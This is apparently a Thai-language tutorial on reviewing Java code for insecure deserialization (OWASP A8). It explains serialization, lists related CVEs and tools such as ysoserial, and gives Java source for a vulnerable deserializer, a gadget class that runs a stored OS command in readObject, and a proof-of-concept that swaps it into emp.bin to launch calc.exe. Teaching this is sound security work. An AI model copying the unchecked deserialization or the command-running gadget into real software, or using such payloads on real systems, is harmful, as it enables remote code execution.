How to review vulnerable codes – A8: Insecure Deserialization – Java

บทนำ (Overview)

Insecure Deserialization เป็นช่องโหว่ที่เกิดขึ้นกับซอฟต์แวร์ที่รับ serialized data จาก untrusted input ซึ่งอาจทำให้ attacker สามารถเข้าถึงหรือเรียกใช้งาน class ที่ถูก bundle (class ที่มีอยู่ใน class path) มากับซอฟต์แวร์ได้ หาก attacker รู้ชื่อ class และวิธีการใช้งานที่เหมาะสมก็จะสามารถทำให้เกิดRemote Code Execution ได้ บทความนี้กล่าวถึงภาพรวมของช่องโหว่ Insecure Deserializationที่เกิดขึ้นกับภาษา Javaเพื่อให้ผู้อ่านเข้าใจการทำงานของช่องโหว่นี้

สามารถติดตามบทความรูปแบบ PDF ได้จาก ที่นี้

บทความโดย
Mr.Juttikhun Khamchaiyaphum
Cyber Security Researcher

Java Serialization/Deserialization คืออะไร

ในภาษา Java รวมถึง PHP, Python, Ruby หรือภาษาอื่น ๆ ต่างมีความสามารถหนึ่งที่มักจะถูกพัฒนามาด้วยคือการเก็บ Object ในรูปแบบของ Byte Stream เพื่อบันทึกลงไฟล์ ฮาร์ดดิสก์ หรือแม้กระทั้งส่ง Byte Stream ที่แปลงมาจาก Object นั้นไปประมวลผลที่เครื่องอื่น ๆ กระบวนการแปลง Object ไปเป็น Byte Stream ถูกเรียกว่า Serializationและกระบวนการแปลง Byte Stream กลับมาเป็น Objectถูกเรียกว่า Deserialization

Object Serialization ถูกใช้ในงานหลายประเภท เช่น

  • Remote / Interprocess communication
  • Message Brokers
  • Caching
  • Tokens / Cookies
  • RMI (Remote Method Invocation)
  • JMX (Java Management Extensions)
  • JMS (Java Message Service)

Java Serialization ทำงานอย่างไร

ในการ Serialize อ็อปเจ๊คนั้นผู้พัฒนาสามารถใช้เมทธอดที่ใช้สำหรับ Serialize คือ writeObject(Object) ของคลาส ObjectOutputStream สำหรับแปลง Objectไปเป็น Byte Stream และการแปลงจาก Byte Stream กลับมาเป็น Objectเรียกว่าการ Deserializeโดยใช้เมทธอด readObject()ของคลาส ObjectInputStreamการทำ Serialization หรือDeserialization มีส่วนที่ต้องคำนึงคือคลาสที่จะนำมา Serializeนั้นจะต้อง Implement Interface ที่ชื่อว่า Serializable เพื่อให้มีโครงสร้างเมทธอดที่พร้อมจะทำ Serialization

 

ตัวอย่าง การทำ Serialization

ในตัวอย่างนี้ประกอบไปด้วย 3 คลาส คือ

  1. Employee.java เป็นคลาสที่ implements Serializable ที่สามารถถูก serialize ได้
  2. Serialize.java ทำหน้าที่สร้าง instance ของคลาส Employee ขึ้นมาแล้ว serialize instance นั้นลงไฟล์ชื่อ emp.bin
  3. Deserialize.java ทำหน้าที่ deserialize ไฟล์ emp.bin และปริ้นชื่อของ Employee ที่ถูก serialize ออกมา ในกรณีนี้คือ “David” 
  4. หลังจากที่คอมไฟล์ไฟล์ Serialize.java และเรียกใช้งาน ก็จะได้ไฟล์ emp.bin ซึ่งเป็นไฟล์ที่บรรจุข้อมูลที่ถูก Serialize เอาไว้พร้อมที่จะถูก Deserialize ในข้อมูลที่ถูก Serialize ไว้ถ้าสังเกตดีดีจะเห็นว่ามีชื่อคลาสของอ็อบเจ๊คที่เก็บเอาไว้  ในจังหวะนี้ ข้อมูลที่ถูก Serialize นั้นไม่จำเป็นต้องเป็นการเก็บลงไฟล์ก็ได้ แต่อาจเก็บในรูปแบบอื่น เช่น เก็บในฐานข้อมูล, หรือส่งผ่านไปทาง Network เพื่อให้เครื่องอื่นทำการประมวลผล
  5. เมื่อทำการคอมไพล์และเรียกใช้งานคลาส Deserialize คลาส Deserializeจะอ่านไฟล์ emp.bin และทำการ Deserialize ข้อมูลที่อยู่ในไฟล์ออกมา ไม่ว่าข้อมูลที่ถูก Serialize มานั้นจะเป็น Instance ของคลาสใดมันก็จะถูกพยายาม Deserialize ออกมาและ cast ให้เป็น Object ของคลาส Employee

การ Deserialize ทุกครั้งจะมีการเรียกเมทธอดหนึ่งที่ชื่อว่า readObject() เพื่ออ่านข้อมูลที่ถูก Serialize มาและ cast ให้อยู่ในรูปแบบของ Object ของคลาสที่หวังเอาไว้ หลายครั้งที่ผู้พัฒนามีการ override เมทธอด readObject() เพื่อวัตถุประสงค์บางอย่าง เพื่อให้ทุก ๆ ครั้งที่มีการเรียก readObject() จะต้องทำบางสิ่งบางอย่างด้วยเสมอ เช่น ให้ log ข้อมูลเก็บเอาไว้

การ Deserialization ที่ไม่ปลอดภัย

ในขั้นตอนของการ Deserialize นั้น หากผู้พัฒนาไม่ได้ระวังหรืออนุญาตให้ผู้ใช้งานสามารถควบคุมข้อมูลที่ถูก Serialize เอาไว้ได้ก็จะทำให้ผู้ไม่หวังดีสามารถเปลี่ยนสิ่งที่ถูก Serialize เอาไว้เป็นคลาสที่ไม่ปลอดภัย หรือเป็นคลาสที่ช่วยให้ผู้ไม่หวังดีสามารถเรียกใช้งานเมทธอดอันตรายอื่น ๆ ได้ คลาสเหล่านั้นถึงแม้ว่าส่วนตัวมันไม่ได้ถูกเรียกใช้งานจากแอพพลิเคชั่นเลยแต่ถ้ามันถูกคอมไพล์เอาไว้และอยู่ใน Class Path ก็สามารถถูกเรียกมาใช้งานในขั้นตอนการ Deserialize ได้เช่นกัน คลาสที่ว่านี้เรียกรวม ๆ ว่า Gadget

ในตัวอย่างนี้จะนำเสนอ Gadget อย่างง่ายที่จะทำให้เข้าใจการทำงานของ Serialization มากขึ้น

Gadget.java เป็นคลาสที่ใช้สำหรับสั่งคำสั่งของระบบปฏิบัติการโดยมีตัวแปรตัวเดียวคือ String cmd อีกทั้งยังมีการ Override เมทธอดreadObject() เอาไว้ โดยจะรันคำสั่งที่เก็บไว้ที่ตัวแปร cmd ฉะนั้นทุก ๆ ครั้งที่มีการ Deserialize คลาส Gadget มันก็จะพยายามรันคำสั่งระบบปฏิบัติการที่เก็บเอาไว้ที่ตัวแปร cmd ด้วย

คลาส Gadget นี้ได้มีการใช้งาน interface Serializable เอาไว้แสดงว่ามันถูก Serialize ได้ และถึงแม้ว่ามันจะไม่ได้ถูกเรียกใช้จาก Employee, Serialize, หรือ Deserialize เลยก็ตามแต่ถ้าเราคอมไพล์คลาส Gadget นี้ไว้ก็จะทำให้ attacker สามารถเรียกได้จากการ Deserialize เหมือนกัน

Gadget.java

เมื่อรู้แล้วว่า Gadget ของเรานั้นคือคลาสอะไร สิ่งที่ต้องทำต่อไปคือดังนี้

  1. สร้าง Instance ของคลาส Gadget ขึ้นมาโดยกำหนดค่าของตัวแปร cmdเป็นคำสั่งที่ต้องการ
  2. Serialize instance ของคลาส Gadget ที่สร้างขึ้นมาลงไฟล์ชื่อ bin
  3. ใช้คลาส Deserializeในการ Deserialize ไฟล์ bin เพราะคิดว่าไฟล์ emp.bin เป็น Object ของคลาส Employee คลาส Deserialize ทำการ Deserialize ไฟล์ emp.bin เมื่อถึงขั้นตอนการเรียกเมทธอด readObject() แทนที่จะเป็นการเรียก readObject() ที่เป็น Default readObject() ของคลาส Employee แต่กลายเป็นเรียก readObject() ของคลาส Gadget เพราะถูก Attacker แอบแก้ไขไฟล์ emp.bin ให้เป็นข้อมูลของคลาส Gadget แทน 

ช่องโหว่ที่เกิดขึ้นจาก Insecure Deserialization ในภาษา Java

ช่องโหว่ที่เกิดขึ้นจากการพัฒนาซอฟต์แวร์ภาษา Javaและมีการใช้งาน Serialization นั้นมีให้เห็นอยู่บ่อยครั้ง และมักจะนำไปสู่ Remote Code Execution ในที่สุด ตัวอย่างช่องโหว่ที่มีการเปิดเผย เช่น

  • CVE-2018-0147 Cisco Secure Access Control System (ACS) RCE
  • CVE-2017-1000353 Jenkins RCE
  • CVE-2016-4000 Jython RCE
  • CVE-2015-3253 Groovy RCE
  • CVE-2015-7501 Apache Common Collection RCE
  • CVE-2015-7450 Web Sphere RCE
  • CVE-2015-4852 WebLogic RCE
  • CVE-2013-2165 JBoss RCE
  • และอีกมากมาย

มีนักวิจัยบางคนที่มีการพัฒนาเครื่องมือที่ใช้ในการตรวจสอบช่องโหว่ Insecure Deserialization ในภาษา Java ที่มีชื่อว่า ysoserial (why so serial?)

(https://github.com/frohoff/ysoserial)เพื่อใช้ในการตรวจสอบช่องโหว่ของซอฟต์แวร์ต่าง ๆ ที่อาจมีการใช้งาน libraryที่มีช่องโหว่Insecure Deserialization โดยปัจจุบัน ysoserialสามารถตรวจสอบช่องโหว่ได้ครอบคลุมหลายlibrary ซึ่งหนึ่งใน library ที่มีการใช้งานแพร่หลายมากคือ Apache Common Collection ตัวอย่างในภาพ คือ JBoss6.1.0มีการใช้งานlibrary ชื่อ Apache Common Collection 3.1 ซึ่ง ysoserialสามารถช่วยสร้างpayload สำหรับการโจมตีได้

นอกจากนั้น Burp Suite ยังมี Extensionชื่อ “Deserialization Scanner” สำหรับการตรวจสอบช่องโหว่Insecure Deserialization ในภาษา Java โดย integrate กับ ysoserial อีกด้วย

Source Code:

Employee.java

import java.io.Serializable;

// This class implements Serializable which allow to serialize an object of this class
public class Employee implements Serializable {
	private String name;
	private int age;
	Employee(String name, int age){
		this.name = name;
		this.age = age;
	}
	
	public String getName() {
		return this.name;
	}
	
	public int getAge() {
		return this.age;
	}
}

Serialize.java

import java.io.*;

public class Serialize
{
	 public static void main(String[] args)
		{
			// Create an Employee instance name emp. The instance has name = "David" and age = 30;
			Employee emp = new Employee("David",30);
			String filename = "emp.bin";
			try
			{
				// Prepare serialization
				FileOutputStream file  = new FileOutputStream(filename);
				ObjectOutputStream out = new ObjectOutputStream(file);

				// Serialize the emp object into file named "emp.bin"
				out.writeObject(emp);

				out.close();
				file.close();
			}
			catch(Exception e) {
				System.out.println("Exception: " + e.toString());
			}
		}
}

Deserialize.java

import java.io.*;

public class Deserialize
{
	public static void main(String[] args)
		{
			// Prepare for deserialization by create empty Employee instance.
			Employee emp;
			String filename = "emp.bin";
			try
			{
				// Prepare for deserialization from file name: emp.bin
				FileInputStream file  = new FileInputStream(filename);
				ObjectInputStream out = new ObjectInputStream(file);

				// Deserialize byte stream into an Employee instance and 
				// then print out the name of the deserialized employee
				emp = (Employee)out.readObject();
				System.out.println("Employee name: " + emp.getName());

				out.close();
				file.close();
			}
			catch(Exception e)
			{
				System.out.println("Exception: " + e.toString());
			}
		}
}

Gadget.java

import java.io.IOException;
import java.io.Serializable;

public class Gadget implements Serializable{
	public String cmd;
	private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
		in.defaultReadObject();
		Runtime.getRuntime().exec(cmd);
	}
}

ExploitSerial.java

import java.io.*;

public class ExploitSerial
{
	 public static void main(String[] args)
	    {
	        Gadget gadget = new Gadget();
	        gadget.cmd = "calc.exe";
	        String filename = "emp.bin";
	        try
	        {
	            FileOutputStream file  = new FileOutputStream(filename);
	            ObjectOutputStream out = new ObjectOutputStream(file);

	            out.writeObject(gadget);

	            out.close();
	            file.close();
	        }
	        catch(Exception e) {
	            System.out.println("Exception: " + e.toString());
	        }	        
	    }
}

Reference:

ใส่ความเห็น